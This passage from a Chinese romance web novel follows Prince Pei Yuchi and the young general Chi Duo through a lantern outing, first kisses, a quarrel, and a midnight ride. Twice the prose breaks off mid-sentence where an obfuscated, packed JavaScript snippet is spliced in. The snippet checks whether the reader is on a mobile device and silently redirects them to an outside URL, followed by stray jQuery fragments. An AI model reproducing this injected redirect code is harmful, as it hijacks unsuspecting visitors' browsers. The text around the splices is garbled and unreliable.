话说到这份上,迟铎再别扭,也只能含糊应下。饭后果然被人带着绕了半座城,灯市渐远,人声渐稀,脚下的路也愈发偏了。 迟铎忍不住开口:“殿下这是改行做了人伢子?” “狸奴卖不出去。”裴与驰接得极快,“只能自己养。” 迟铎:“……” 行,斗嘴这一桩,他甘拜下风。 两人一路拌着嘴,直到脚步在一处偏僻静谧的河湾前停下。水声低低,月色如洗。岸边草地上,静静放着一盏小小的河灯,并蒂莲的样式,新扎的,纸面还带着未散的竹香。两朵莲花挨得极近,花瓣层层叠叠,灯芯藏在花心里,尚未点燃。 这地方,这灯,一看便是裴与驰事先让人备下的。 迟铎没有作声,只盯着那并蒂莲看。塞北时他不懂这些弯弯绕绕,后来听女郎提过“并蒂生死不离”,回去又特意翻了书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239948|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才知这花真正的意思:花开并蒂,同心双生。当时心跳得厉害,却又被他生生按了下去,只当是自己想多了。兴许不过是随手挑的,兴许只是好看。 可如今,是同样的样式,同样的人。 裴与驰行至河边,取出火折子,低头点灯。火苗亮起的一瞬,莲瓣被暖光映得温软,也照亮了他俊朗的侧脸。“上回那盏,”他说得随意,“走得太急,没来得及看清。”说着,将河灯递到他手里,“这回,你放。” 迟铎接过灯,指尖被灯芯的温度烫了一下,却没有松手。他低头看着那并蒂莲,心跳忽然快得有些失控。半晌,才弯腰将灯小心翼翼地放入水中。河灯轻轻晃了晃,并未被水流卷走,并蒂莲贴在一处,顺着水波缓缓向前,在夜色里拖出一道长长的光影。 “你许了什么?”裴与驰问。 迟铎立刻回嘴:“说出来便不灵了。”他盯着那道光看了片刻,又忽然转头看他,“你呢?” “我?” “你不许?” 裴与驰顿了顿,目光落在随波而去的河灯上:“我许过了。” “什么时候?” 裴与驰转过头看着他:“方才。”他说,“在你接灯的时候。” 迟铎:“……” 夜风微凉,迟铎却只觉耳根发烫。就在那一瞬,他忽然明白了裴与驰许的是什么。 灯在他手里,愿望便落在他身上。 残夏的心动,悄然绵延至秋。迟小将军在朝中尚能自持,从容应对,可一到三殿下面前,便雷打不动地红了耳根、乱了心跳。偏生每一日睁眼,却又忍不住盼着再见。 寒蝉渐咽,白露渐凝。下了学,日头虽还挂着,照在身上却只余一层稀薄的暖意。 两人顺着那条走了无数遍的长廊往宫门外走。起初还好好的,走到那片桂花树下时,迟铎的步子却忽然慢了下来,越走越沉,最后干脆停住了。他耍赖似的靠着廊柱,半垂着眼皮,整个人像没了骨头,懒懒地往柱子上挂,摆出一副“打死也不挪窝”的架势。“不行了,歇会儿。就坐一刻钟。”说着,又仰起头,用那双带着困倦水汽的眼睛看向裴与驰,也不言语,只那么直勾勾地看着。 裴与驰居高临下地看了他一会儿,终是轻叹了口气。看似无奈,身子却很诚实地坐了下来,背倚朱红廊柱,手中漫不经心地展开一卷《诗经》,替他挡住了穿堂而来的风。 不过须臾,迟铎便得寸进尺地倒了下来,直接枕在裴与驰的膝头。他昨夜在羽林卫站了大半宿的岗,累得狠了,这会儿毫无防备,额上随意覆着一本书挡光,遮去了大半眉眼,只露出高挺的鼻梁与微微抿着的唇。呼吸绵长而安稳,热气透过单薄的衣料,若有似无地扫在裴与驰的腿上。 风过庭院,簌簌作响。不只是香桂,一片粉白的秋海棠花瓣被风裹挟着,不偏不倚,正落在迟铎的唇珠上。 裴与驰垂眸看着,指尖微动,原是想替他拂去花瓣。可指腹触到那点温热时,动作却顿住了。四下无人,唯有风声。平日里总是张牙舞爪的狸奴,此刻毫无防备地枕在他膝头,唇上那瓣秋海棠随着呼吸微微起伏,像是一种无声的邀约。素来克制守礼的三皇子,终究被这一点粉白迷了心。他缓缓俯身,屏住呼吸,隔着那片轻软的花瓣,在那人的唇上极轻、极快地印下一吻。 花瓣微凉,唇意却暖。 一触即分。 裴与驰直起身,面上强自镇定,顺势向后一倚,阖眼假寐。只有那只手,鬼使神差地没有收回,指腹轻轻压在那片花瓣上,隔着一层薄薄的阻隔,在迟铎的唇珠上无意识地摩挲着,在分寸的边缘反复试探。一下,两下。不知是秋风太静,还是耳边的呼吸太沉,不多时,他也真的睡了过去。 不知过了多久。迟铎醒得很慢。意识回笼的第一瞬,先觉到的便是唇上那点异样的触感:温热而微重,像是有什么东西轻轻压着。他迷迷糊糊地睁眼,便看见裴与驰那只右手正放在他的唇珠上,指节微曲,姿态已有些逾矩。 迟铎怔了怔,没动。上方那人呼吸平稳,睫毛安静地垂着,显然是睡熟了。他这才抬手,动作极轻地握住那只手腕,将其挪开。花瓣顺势滑落,无声地掉在衣襟上。 没了那点遮挡,两人的距离显得更近了。迟铎坐起身,却没急着叫醒殿下。他盯着裴与驰那张平日里的冷脸看了一会儿。先是数了数那长得过分的睫毛,视线再顺着高挺的鼻梁一路滑下,最后,鬼使神差地落在那双薄唇上。这人平日里嘴毒得很,笑起来也总是带着点凉薄。真有人嘴唇天生就是冷的吗? 这念头一起,便像野草一样疯长。迟铎屏住呼吸,慢慢抬手,指尖颤巍巍地探过去,想要碰一碰那唇角—— 后脑忽然一紧。一只手毫无预兆地扣住了他。力道不重,却不容退开。天旋地转。他被猛地拉近,沉香与体温一并压了下来。两人鼻尖几乎撞在一处,呼吸猝不及防地纠缠在一起。 裴与驰睁开了眼。 “干嘛。” 声音低低的,带着点刚醒的哑。 两人相隔不过毫厘,再近一步,便要唇齿相触。裴与驰垂眼,正对上那双受惊的圆眼。对方睫毛轻颤,唇瓣微张,那副受惊又茫然的模样,像是无意,又像是卖乖。 他没忍住。 这一次,不再是隔着花瓣的偷尝。他低下了头。卖乖的也没躲,眼睛已然下意识闭上。 下一瞬,廊外脚步声骤然响起。裴与驰没有停,迟铎也没有退。在那杂乱逼近的脚步声里,两人的唇,就这样轻轻贴在了一起。尚未来得及分清是风声作响,还是心跳失序,脚步声已在廊外拐了个弯,渐渐远去。 这算不上一个熟练的吻。起初只是相触,像是不小心碰到,又舍不得分开。呼吸贴得太近,温热的气流扑在彼此脸上,两人都愣了一瞬,随即又笨拙地调整角度,想要靠得更近些,却一时不知该如何是好。唇瓣轻轻摩挲着,生涩而迟疑。裴与驰下意识地偏了偏头,想要含住那片唇;迟铎也跟着学,却只学了个半成,反倒碰到了牙关,碰得一塌糊涂。谁也没退,谁也没真正进,只在这点微末的触感里反复试探。 风从廊间掠过,金粟纷落若雨,落在肩头、发间,香气染上两人交叠的衣襟。那一刻,他们谁也顾不上外头的动静,只觉这一点靠近,已足够叫人手足无措,头皮发麻。 终于,裴与驰微微撤开半分,结束了这个算不上完整的吻。他看着眼前的人,呼吸微乱。原以为这只狸奴下一刻便要炸毛,或是红着脸跳开,却不料,迟铎只是微微一顿。他抬手碰了碰自己的嘴唇,有些发愣,随后皱了皱眉,抬眼看向裴与驰,语气竟带了点无辜的认真: “……你咬到我了。” 话音落地,像是有火星子溅进干草堆,热意“轰”地一声,从迟铎的颈侧漫上来,爬满耳根,红得毫不遮掩,像是这时才意识到自己方才说了什么不得了的话。但他并没起身就跑,只是坐在那里,睫毛轻颤,唇上还带着方才厮磨过的微红。 裴与驰看着他,喉结上下滚了滚。那句到了嘴边的调笑,硬生生卡在喉间,溃不成军。 廊下花瓣仍在落。迟铎抬眼看他,目光湿亮,笨拙得什么都不懂,却偏偏什么都给了。 这一刻,究竟是谁先乱了分寸,已然说不清了。 11. 风林火山 本就薄得不能再薄的窗户纸一破,两人私下里便多了几分心照不宣的亲近。只是这等事,皆是头一遭,半点章法也无。少年人身量正抽条,鼻梁又生得高,初时凑近,气息尚未乱,鼻梁骨倒先硬生生磕在一处。往往旖旎方起,便夭折在一声压着的闷哼里。 迟铎捂着鼻子退开,眼角逼出点生理性的泪花,想抱怨两句,又觉难以启齿,只得别过头去,耳根红得不像话。裴与驰也没好到哪去,眉心微蹙,指腹按了按鼻梁,目光落在迟铎那张泛红的侧脸上,沉沉不动,像在掂量什么。 几日后,大学士书房。 裴与驰屏退左右,独坐案前。案上堆着几本刚从静远侯世子那儿收缴来的杂书。平日里,他对这等艳词话本向来视作糟粕,连翻一页都嫌污眼。可此刻,这位素来严谨自持的三殿下,却面无表情地翻开了其中一册。神色肃穆,坐姿端正,指尖沿着书页一行行划过,看到“侧首”“含弄”“齿关”几处时,动作微微一顿,目光停留片刻,随后合上书卷,神色如常地将其压回了最底层。 有些事,既是学问,便该钻研,不论是兵法,还是此道。 变故发生在一个黄昏。宫道漫长,马车摇晃。车厢内光线昏暗,迟铎靠在软垫上,正百无聊赖地摆弄着裴与驰腰间的玉佩。裴与驰放下手中的书卷,忽然倾身过来。迟铎心头一跳,下意识偏头想躲,嘴里嘟囔着:“……别来了,鼻梁还疼着。”话音未落,下巴便被人轻轻托住。那只手带着些凉意,力道却不容拒绝。 这一次,没有莽撞的磕碰。裴与驰极自然地侧了侧头,错开了两人高挺的鼻梁。气息逼近,沉香的味道瞬间笼罩下来。唇瓣相贴,严丝合缝,像早已演练过千百遍。 迟铎倏地瞪大了眼。还未及反应,齿关便已被轻易撬开。不再是先前那种笨拙的试探,而是带着几分掌控意味的长驱直入。舌尖勾缠,轻重缓急拿捏得恰到好处,既不过分急切,又让人退无可退。 “唔……”迟铎被亲得猝不及防,后脑抵在车壁上,手无意识地攥紧裴与驰的衣襟。马车碾过青石板,微微一晃,那点颠簸在唇齿间被放大得近乎要命。迟铎脑中一片空白,只觉呼吸被人生生夺走,整个人软得不像话。 良久,裴与驰才稍稍退开。车厢内静得只剩下两人略显急促的呼吸声。 迟铎眼尾泛红,目光有些发直,胸口起伏得厉害,好半晌才找回自己的声音:“……你。” 怎么突然这么会了? 裴与驰神色未变。他抬手,拇指极轻地蹭过迟铎湿润的唇角,动作慢条斯理,随后重新拿起案卷,坐回原处,又恢复了平日那副高冷禁欲的模样。 开口却道:“其实,与当初给你喂药时,倒也差不离。” 迟铎一愣。 裴与驰想了想,竟像在认真复盘:“那时狸奴病着,虽很倔,却胜在乖顺,撬开齿关灌下去便是,动也不动,倒是好办。” 说到这里,他瞥了迟铎一眼,语气里甚至带了点学究气:“如今却是太活泼了些。舌尖乱躲,又不肯乖乖就范,着实费了我一番功夫。” 迟铎:“……” 他脑中“嗡”的一声,热血直冲天灵盖,脸色瞬间涨红,连脖颈都烧了起来。 这人……这人居然还总结起经验来了?!把这种事同喂药相提并论也就罢了,末了竟还嫌他不配合?! 好一个一本正经的浪荡子! 迟铎羞愤欲死,猛地坐直身子,咬牙切齿地去拽他的袖子:“裴与驰!” 裴与驰却已低头翻过一页书,连眼皮都未抬:“噤声,我要看书。” 有了那一回境界上的突破,两人之间的亲昵便再难自抑,发乎情而止不住。 又逢休沐,将军府内静悄无人,迟铎的卧房里窗棂半掩,秋光从外头漫进来,昏黄如薄雾,把房间里两人心里那点见不得光的念头衬得愈发暧昧。两人贴得极近,唇齿相缠,呼吸交错,像是要把这些日子里压着的念头,一并讨回来。 裴与驰的吻渐渐重了,带着几分近乎失控的狠意,低头压下来时毫不留情,像是要将人整个吞入怀里。那股逼人的侵略感逼得迟铎心跳乱拍,手脚发软,只能被迫仰着头承受,想迎上去,却总慢了半拍,连呼吸都被牵着走。 偏偏,吻越是凶,三殿下的手却越是克制。 哪怕贴得再近,唇舌纠缠得再深,他的手也始终只落在肩头、后背,虚虚一护,分寸拿捏得一丝不苟,衣襟不乱,带子不散。 克制又珍重,珍重得近乎刻薄。 迟铎心口却猛地一沉。 就在这一片意乱情迷里,一阵令人战栗的异样忽然自身体深处翻涌而上,那处他平日里刻意忽视、几乎当作不存在的“多余”,竟在这亲吻里不受控制地苏醒过来,来势汹汹。 惊惧几乎瞬间盖过了情欲,他忽然想起裴与驰方才那样克制的手,那样一丝不苟的分寸…… 若是被他察觉,会是什么神情? 不是嫌恶,只是退后一步,只是体面地放手。 这个念头一起,迟铎指尖便凉了。 他猛地睁大眼,像被火烫了一般,一把将裴与驰推开,力道失了分寸,连床边烛台都晃了一下。裴与驰猝不及防,被推得退了半步,呼吸尚乱,眼底那点暗色还未收敛,只低声道:“……怎么了?” …………………………(评) “宫门……”他低着头,声音发紧,“要落锁了。殿下请回吧。” 屋内一时无声。 裴与驰没有动。那份抗拒来得太过突兀,他反倒上前一步,撑着床沿,将人困在角落里,低声道:“你在发抖。”目光落在迟铎紧绷的神情上,眉心微蹙,“是我方才……弄疼你了?” 除了受伤,他想不出旁的缘由。这只向来天不怕地不怕的狸奴,怎么会露出这样的神色,像是被逼到绝路的小兽。 迟铎闭了闭眼,心一横,那些原本只该烂在心里的话,便带着伤人伤己的锋刃脱口而出:“殿下年岁也不小了,府里迟早有人伺候。” 声音在抖,却一字一句往人心上扎。 “我们终究是两个男子。殿下若只是想……回去找她们,也比……留在我这里要强。” 话音落地,空气几乎凝固。 这话太狠了。既是替裴与驰铺了一条体面的退路,也是替自己挡下将来那一步疏离。可不这样说,他根本承受不起裴与驰发现之后的冷淡,哪怕那冷淡只是一个眼神、一寸距离。 “你说什么?”声音低沉,压着风雷。“你以为,我是在拿你消遣?” 迟铎眼眶通红,却仍别开视线,咬着牙道:“难道不是…….” 话未出口,那只手却忽然松了。预想中的怒斥没有落下。裴与驰抬起他的脸,动作出乎意料地轻,目光细细扫过额角、唇边、颈侧,确认他有没有被弄伤,确认他是不是疼得狠了才发脾气。 “哪里疼?” “方才,是我失了分寸?” 那样近乎小心的克制,比任何斥责都更叫迟铎难受。 他猛地偏过头,推开那只手,声音发紧:“没有。” 低声道:“你我同为男子,既到这个年纪,宫里自然会替殿下安排旁人。” 话至此处,已无回旋。裴与驰直起身,面色彻底冷了下来。 “原来迟小将军是真的眼疾深重。”他语气满是讥诮,字字带刺,“到现在,才看清你我同为男子。” 他没再多说,只一拂袖,转身离去,门被带上,最后一线光亮随之消失。 迟铎缩在床角,一动未动。屋子里静得发慌。人已走远,身体里那点不受控的异样却迟迟未退,黏腻而讽刺,像是在一遍遍提醒他,方才是如何亲手把喜欢的人推开的。 泪水无声落下。 上下两头,皆不由人。 半个时辰后,医官奉命前来察看靖武伯的眼疾,随行的,还有三殿下遣人送来的几本医书,书页翻开,男女身形的差异描绘得冷静而分明,毫不避讳。 迟铎看了一眼,便低低笑了一声:看来真是被他气急了,连讽刺都这样不讲理。 若自己真如书中所绘那般,不论男女,他都敢赌裴与驰的一颗真心。 可偏偏,他不是。 这在宫中,原是生来便要依礼依制处置的异数。偏生塞北风野,纲常不密,父母也不肯尽守理制,才容他来到世上。 自那夜起,两人便陷入一场前所未有的僵局。 学馆里,那张平日同坐的长案,如今仿佛被无形的界线一分为二,泾渭分明。依旧是同席:裴与驰在左,迟铎在右。往日袖袍相叠、笔墨相借,偶尔还在案下递来递去一张写满胡话的纸条,如今却统统成了旧事。中间那道空隙宽得刺眼,仿佛还能再容下一人。 裴与驰神色冷淡,执笔批注,目不斜视,仿佛身侧不过一团空气。迟铎低头看书,目光落在字上,却一个也没进心里。偶有翻页,衣袖不慎擦过,他便像被烫着一般倏然收回,生怕越雷池一步。 一堂课毕。 一个心神一晃,墨点成灾,策论当场作废;一个手腕发飘,朱痕乱走,满页皆是闲笔。 两下里明明一样害相思,但一个强撑着冷,一个慌得发紧;一个不肯低头,一个不敢靠近。 下了学,宫道漫长。 若是往常,这时候迟铎早该挂在裴与驰身上喊累,或缠着他去城南吃糕点,嘴上说饿,眼里却只装得下那人。可如今,两人一前一后走着,隔着半步,像隔着一条看不见的界河。 裴与驰在前,步子比往日慢了几分,背影挺拔如松,冷得叫人不敢近。迟铎在后,低着头,只盯着地上被夕阳拉长的两道影子。影子偶有交叠,人却始终不肯并肩,那半步,像天堑,跨不过去。 一路无话。长街起风,卷起几片枯叶,沙沙作响,反倒衬得这沉默更刺耳。 直到行至熟悉的分岔路口,左边回宫,右边回府。 往日里总要在此磨蹭片刻,或送一程,或约明日,哪怕一句“慢些走”也好。可今日,裴与驰只停了一瞬,既不回头,也不叮嘱,转身便折向宫道。 迟铎立在原地,看着那道背影越走越远。喉头滚了滚,那声“殿下”终究没能出口。风吹得眼眶发酸,他吸了吸鼻子,转身走向那条空荡荡的归家路。 夜深,晚膳早已冷透,又被原样撤下。 迟铎把自己关在屋里,只留一盏如豆的灯。灯影昏黄,他侧躺在榻上,指间捏着一叠泛黄的信纸,那是他从塞北一路护到长安的珍藏。哪怕写信的人如今就在几里外的宫墙之内,这些旧纸仍被他攥得极紧,像攥着一点不肯散的旧梦。 他望着那熟悉的笔锋,心口忽然生出一个荒谬却清晰得可怕的念头: 若是……没来长安就好了。 若是不来,便留在塞北的大漠孤烟里,只做那个隔着千山万水与殿下通信的迟小将军。那时候多好,山长水远,是最好的屏障。他这颗心可以坦坦荡荡地随鸿雁越关山,送到那人手里,不必顾忌分寸,不必害怕退让。魂梦相依,反倒安稳。 路遥山远,即使情字未消,最多也不过念一人,念到鬓边生霜。 总好过如今这般…… 人就在眼前。 贪念便像野草一样疯长:见了想靠近,靠近了想触碰,一触碰,心跳便再也收不回来。偏偏这副身子又在最不合时宜的时候失了分寸,那些不受控的反应,总在最亲密的时刻翻涌出来,像是逼着他承认:他瞒不住心上人多久了。 迟铎闭上眼,指节攥得发白,几乎将那泛黄的边角捏皱。 若他真是堂堂正正的男儿身便罢了。哪怕断袖,他也敢赌一把,敢把心掏出来给那人看。裴与驰看他的目光,那些克制却珍重的触碰,那一瞬贴近时的呼吸与心跳,他分明知道,那不是错觉。 可偏偏…… 这一步若是走近了,便再也退不回原处。 他不想退,也受不了对方退。 他赌不起。 房门忽然被叩响。 “笃笃。” 迟铎浑身一僵,声音干哑:“谁?不是说了不用膳……” “少将军。”门外是管家刻意压低的声音,带着掩不住的慌乱,“是……是殿下。” 迟铎脑中嗡地一声。宫门早已落锁,宵禁的鼓都敲过了,他怎么会来? 管家声音发抖:“殿下在府门外等着,说……您若不去,他便不走了。” 后头的话,管家没敢再说,将军府大门之外,是一副足以叫人心头发寒的景象。 长街空寂,更深露重。那位素来最讲规矩、最知分寸的三殿下,此刻却骑在一匹通体漆黑的高头大马上。玄衣骑装,神色冷极,不是装出来的威仪,是真动了怒,也是真急红了眼。他勒着缰绳,居高临下地立在阶前。黑马不安地打着响鼻,蹄铁在青石板上刨出几星火花。那架势不像是在等人,倒像是:只要迟铎敢说一个不字,下一刻,他便会策马踏平这将军府的门槛,亲自进来抓人。 屋内的迟铎并不知道外头的阵仗,他只听见那一句“不来不走”。掌心瞬间沁出冷汗,心跳却快得失了节奏。他咬了咬牙,既怕那人真在外头站一夜受寒,又怕这趟出去,便是最后的宣判。 可再怕,也终究怕不过…… 怕那人等着。 迟铎没再犹豫,匆匆披了外袍便冲了出去。 府门外,长街如洗。裴与驰果然还在。玄霜立在阶前,一身玄色劲装几乎与夜色融为一体,没有仪仗,没有随从,像是把所有规矩都丢在了身后。 迟铎一现身,他连眼皮都未抬,只冷冷吐出两个字:“上马。” 那股戾气扑面而来,震得迟铎一瞬失声,只得咬牙翻身上马,坐在他身前。还未等坐稳,裴与驰已猛地一夹马腹。 玄霜长嘶一声,如离弦之箭般窜了出去。 夜骑长安,风声如刀,刮得人面颊生疼。幸而已是深夜,长街空寂;否则单凭这一条“纵马长安道”,明日参三皇子的折子,足以堆满御前。 裴与驰显然已顾不得这些。 他一路疾驰,缰绳勒得死紧,几乎绷成一线。横在迟铎腰间的那只手臂如铁钳般扣着,力道重得发疼,却没有半分温存。那姿态不像是载着心上人,倒更像是在押解一名随时可能逃走的犯人。 风声、马蹄声,还有身后那人沉重而紊乱的心跳声混作一处,震得人耳膜发麻。迟铎被迫缩在他怀里,这个自小在马背上长大的小将军,此刻却被疾风逼得睁不开眼,连呼吸都乱了套。他甚至不敢回头,不敢看看一眼身后那人的神情。 不知过了多久,马蹄声终于停在一处荒僻的山顶。 长安城沉睡在脚下,万家灯火如星。 裴与驰翻身下马,反手将人拽下。迟铎脚下一乱,后背重重抵上那棵老槐树,退无可退。 月光落在裴与驰脸上,那神情冷得陌生。他忽然低低笑了一声,声音却没有半分温度:“撩拨完了就跑,迟小将军这招欲擒故纵,是在兵法里学的?” 迟铎尚未来得及开口,下巴已被人捏住,被迫抬起头来。 “当初接我河灯的时候,手不是很稳么?”裴与驰低声道,“在车上亲得难舍难分的时候,也没见你推拒。” 指尖微微收紧,痛意清晰。 “那时候不嫌是男子,”他语气冷漠,“如今倒替我安排起女子来了?” 目光沉沉落下,像是要把人钉在原地。 “把我往别人床上推……”裴与驰轻嗤一声,“迟铎,你还真是贤惠得让我刮目相看。” 裴与驰看着眼前脸色煞白的人,下颌线绷得极紧。 他太了解迟铎了。 这只狸奴平日里最受不得激,也最受不得冤枉。他原以为这几句话抛出去,迟铎定会被刺得跳脚,要么梗着脖子同他争个高下,要么索性真动起手来。他甚至已做好了准备,等着被这只野猫反咬一口。 可预想中的反抗并没有发生。 迟铎被捏着下巴,被迫仰视着他。那双总是亮得逼人的圆眼,此刻却暗了下去。他没有挥开裴与驰的手,也没有像往常那样竖起尖刺,只是在那道冰冷的注视下,忽然像是被抽走了力气,慢慢垂下头。 那一瞬间,意气风发的小将军不见了,只剩下一个站在原地、不知所措的少年。 “我不贤惠……”声音很轻,低得几乎听不清,像是从喉咙深处挤出来的,带着一点笨拙的委屈。 裴与驰原本绷紧的下颌,因为这四个字,骤然一僵。 迟铎没敢抬头,视线死死落在他胸前的衣襟上,像是被那句“贤惠”压垮了,索性把底牌一并交了出来,语气低得发颤:“你如果真的去了……我会很难过。” 他吸了吸鼻子,又把那句更没出息的话说了出来:“……会难过死的。” 没有赌气,也没有逞强,更没有什么“滚去找别人”。 只有这一句,我会难过死的。 四下里一片死寂,风过林梢,声响细微,却把这句话衬得愈发清楚。 裴与驰原本备好的冷言冷语,那些用来回击迟铎反抗的刻薄话,全被这一句生生堵在了喉咙里。像是蓄力已久的一拳,砸进了棉花里,连回声都没有。 怒意、戾气、试探,在这一刻尽数哑火。 他捏着迟铎下巴的手指微微一僵。原本几乎要捏碎骨头的力道,不知何时已经卸了干净,却一时忘了松手。 下一瞬,他看见了迟铎的眼泪。先是眼睫被打湿,随后那点水光便顺着脸颊滑了下来,安静得很。 “可是我……”那句话没能说完,便哽在了喉咙里。 裴与驰眼底那层寒意,在这一刻碎得彻底。满身戾气像被人抽走,只剩下一点猝不及防的无奈。 这笨狸奴。 明明是他自己把人往外推,如今却红着眼说舍不得。 裴与驰低低叹了口气,终于松了手,用指腹在那满是泪痕的脸上抹了一下。动作算不上轻,语气却软了下来:“不想让我去,还偏要说那种话。你是存心要气我,是不是?” 迟铎僵在他怀里,眼眶通红,泪意未退。他仰着脸,看着眼前这张让他心动、也让他心疼的脸。 他忽然想起学馆里这人坐姿若松、神情冷淡的模样,也想起那些被他轻描淡写解决的血腥场面。 原来这样的人,也会因为他一句笨拙的话,硬生生哑了火。 裴与驰看了他一眼,却没有再逼近。他松开手,向后退了半步。夜风掠过山巅,方才那点几近失控的温度,被风压了下去。 “迟铎。”他唤得很轻,语气已冷静,“你记住,我若真只是贪一时之欲,不必你来替我张罗去处。” 他垂眸看着迟铎:“世间愿意奉迎的人不少,用不着你把自己踩进尘泥里,替我成全体面。” 迟铎喉咙发紧,正要开口,却被他抬手止住。 “我动怒,并非因你失言。”他说,“而是你明知我站在你面前,却偏要把我推到旁人身侧。” 略一停顿,声音低了几分,却更冷:“你不信我。” 四个字落得极轻,却像是敲在心骨上。 裴与驰没有再逼问,也未再靠近,只立在那里,目光落在迟铎身上:“你若有所惧,可以不说。但不该替我作主,更不该那般看轻自己。” 话到这里,他便收了声。 往前一步,还是就此退开,全凭迟铎自己。 夜色沉沉,山下的长安灯火明灭起伏,如远如近。 迟铎立在原地,指尖微微发颤。他突然意识到,这人纵然动怒,纵然说话刻薄,却始终没有再往前一步,只站在原处,把退路留给了他。 夜风掠过山巅,衣袍作响。方才还钳着他下巴的那只手,已收了回去,垂在裴与驰身侧,骨节修长而克制,像随时能伸过来,却偏偏没有。 心口那点酸胀慢慢发酵,混着尚未退尽的热意,叫人进退两难。迟铎张了张嘴,想说些什么,声音却像被风堵在喉间。 良久,他才低低开口,轻得几乎揉进风声里:“……我不是不信你。” 这句话说出口,连他自己都怔了一瞬。 他抬起头,眼眶仍红着,却不再躲闪,嗓音发颤:“是我……不敢信我自己。一靠近你,我就控制不住。” 话到这里,他像是被什么扼住了喉咙,呼吸骤乱,后半句生生断在口中。眼泪毫无预兆地落下。迟铎抬手去抹,却越抹越乱。像是终于被逼到绝境,他忽然伸手攥住裴与驰的手腕,指尖冰凉,却用尽了力气,下一瞬,那只手被他猛地按下,隔着层层衣料,贴上了他自己都不敢正视之处。 那一瞬间,夜风仿佛骤然停住。 裴与驰的身形猛地一僵,指尖传来的触感,与他所认知的任何一种都不相同,不是错觉,也不是可以轻易忽略的异样。月光下,那双一向沉静的眸子倏然收紧。 迟铎猛地松了手,像被烫着一般退开半步,嗓音彻底哑了:“现在你明白了。” 话落,他站得笔直,却再也抬不起头。 七窍玲珑、最擅揣度人心的三殿下,在这一瞬,已将这只痴傻狸奴的心思看了个分明。 裴与驰没有立刻收回手。指尖在半空停了一瞬,才缓缓垂下。他看着迟铎,目光压得极低,像要把人钉在原地。 他开口,声音很平静,“所以你是在怕我嫌你。” 迟铎指尖一颤,没有应声。 裴与驰轻轻一嗤: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239949|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “想得倒远。” 他往前一步,却仍旧停住,不逼近,只抬手,指节曲起,在迟铎额角敲了一下。 “若我真嫌,”他道,“方才你拽我那一下,手早废了。” 迟铎一愣,终于抬起眼。 裴与驰盯着他,眸色沉冷:“现在知道怕了?先前在我面前胡乱推人去找旁人的时候,怎么不想这些?” 他停了一瞬,像是把怒意硬生生压回去,才慢慢落下两句: “你怕我嫌你,倒不怕我心寒。” “你推我去旁人身侧,倒不怕我当真走。” 末了,他冷冷补上一句:“迟铎,你未免太看轻我了。” 迟铎张了张嘴,却一时不知该说什么。那一句“你未免太看轻我了”像块石头压在心口,闷得他连呼吸都乱了节拍。他垂着眼,指尖在袖中无意识收紧,指节泛白。 裴与驰看了他片刻,忽然转开视线,像是懒得再盯着他那副要死不活的样子。 “我若没想清楚,是不会碰你的。今夜纵马,把你拽出府,桩桩件件,此刻多半已经上达御前。” 他停了一瞬,像早已计算过后果:“他若问,我自会认。” 那个位置,他从来不是没想过。朝局如何翻涌,宗室如何掣肘,言官如何落笔,他都算过。只是偏偏遇见了不该遇见的人,才叫那些原本只为江山、为权衡、为前路反复推演的算计,忽然有了别的去处。 若要这一段情意走得长久,便不能两头皆占。圣人要的是江山稳固、朝局不倾;他给得起。只要他仍站在御前,仍握得住那把刀,便能替帝王行权衡之术、镇朝堂风波。 至于他想换的,不过是一个人。 这些,他不会对这愚笨的狸奴说。 “同为男子,”裴与驰回过头来,“你敢同我亲,敢把命门递到我手里,如今不过是多了一桩旁人眼里说不得的事,你反倒退缩了?” 裴与驰紧盯着迟铎,眼底那点冷意不是疏离,而是审视。 “塞北的狼崽子,这么快就被长安的安逸磨掉了野性?”他轻嗤一声:“还是说,你只敢在草原里爱人,一到长安,就怕了?” 话说得并不好听,甚至近乎刻薄,可偏偏被他这样一带,那点旁人口中讳莫如深的异样,像是顺手揭过,仿佛原就不值一提,更不是需要遮掩的污点,连他们的将来,都已被他算进话里。 “你不觉得不详?晦气?” 迟铎心底那点藏得最深的念头,被这一句生生逼了出来。宫里的人最讲兆头,也最避不祥:玉佩多一道裂纹都要悄悄撤下,风声多一句便能压死人。他这样的身子,在礼制里本就没有名字:不是男,也不是女,是该被悄无声息抹去的异数。 他以为裴与驰也会在意。哪怕不说嫌恶,只要退一步,只要那一点点体面又冷静的避让,他便承受不起。 裴与驰听完,只低低嗤了一声,像是听见了什么荒唐事。 “晦气?”他语调冷淡,甚至带着点不耐,“迟小将军,你把人头砍下来之后,夜里还怕无头鬼找你不成?” 他侧过脸看他,目光锋利:“战场上血流成河你不怕,如今倒怕起这种虚头巴脑的说法来了?” “我不信这些。” 他的剑,与他的刀一样,都是见过血的。 虽长在深宫,可人心诡谲,比塞北直来直去的血肉争斗更可怕。草原上的杀意写在脸上,宫里的却藏在笑里。今日仍在身侧奉茶的人,转眼便能递来一杯要命的酒。 他虽是皇子,却从不循规蹈矩。身边亲卫若生二心,不过一息,剑已出鞘,锋刃入胸,连挣扎的机会都不会留下。血溅在廊柱上,他连眼皮都不曾眨一下。 有些事若要避开圣人的目光,便不能假手旁人:该断的,他亲自断;该杀的,他亲自杀。 这样的人,早就不信什么吉凶不祥。若信这些,他的剑早该先把自己送进地狱。 偏偏这只笨狸奴想不通这关窍,还以为他的锋刃只是教习场里学来的花架子,便敢在草原那样见血。 